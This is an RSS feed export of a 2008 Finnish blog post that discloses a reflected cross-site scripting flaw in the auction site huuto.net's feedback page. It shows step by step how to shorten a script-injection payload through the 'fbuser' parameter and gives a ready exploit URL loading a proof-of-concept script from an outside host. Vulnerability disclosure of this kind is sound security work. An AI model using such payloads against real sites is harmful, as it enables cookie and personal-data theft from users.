<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Komea Pimeässä &#187; huutonet</title> <atom:link href="http://ihanu.us/tag/huutonet/feed/" rel="self" type="application/rss+xml" /><link>http://ihanu.us</link> <description>suht' hyvännäköinen hämärässä</description> <lastBuildDate>Mon, 30 Aug 2010 12:52:47 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0.1</generator> <item><title>Huuto.netissä XSS-haavoittuvuus</title><link>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/</link> <comments>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/#comments</comments> <pubDate>Wed, 12 Nov 2008 22:01:13 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[Tietoturva]]></category> <category><![CDATA[huutonet]]></category> <category><![CDATA[xss]]></category><guid isPermaLink="false">http://aapon.ihanu.us/?p=199</guid> <description><![CDATA[Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi &#8211; huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä &#8211; varastaa sivun käyttäjien evästeitä. Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän [...]]]></description> <content:encoded><![CDATA[<p>Suositulla <a href="http://www.huuto.net/" class="liexternal">huuto.net</a>-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi &#8211; huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä &#8211; varastaa sivun käyttäjien evästeitä.</p><p>Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta</p><p>Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.<br /> Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa &#8216;&lt;script src=http://domain.com/script.js&gt;&lt;/script&gt;&#8217;. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa &#8216;&lt;script src=osoite&#8217;-muotoisen script-tagin onnistuneesti.</p><p>Nyt XSS on siis muotoa &#8216;fbuser=&lt;script src=http://domain.com/script.js&#8217;. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).<br /> Nyt siis URL on muotoa &#8216;huuto.net/fi/showfeedback.php3?fbuser=&lt;script src=//domain.com/script.js&#8217;.</p><p>Proof-of-concept löytyy osoitteesta <a href="http://xi7.org/t.js" class="liexternal">http://xi7.org/t.js</a>. Käytännössä koodia käytettäisiin seuraavasti: <a href="http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js" class="liexternal">http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js</a>. Koodi <strong>ei</strong> varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.</p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using xcache
Page Caching using xcache (user agent is rejected)
Database Caching using xcache
Object Caching 395/424 objects using xcache
Content Delivery Network via Amazon Web Services: CloudFront: Amazon Web Services: S3: cdn.ihanu.us

Served from: ihanu.us @ 2010-09-10 20:36:50 -->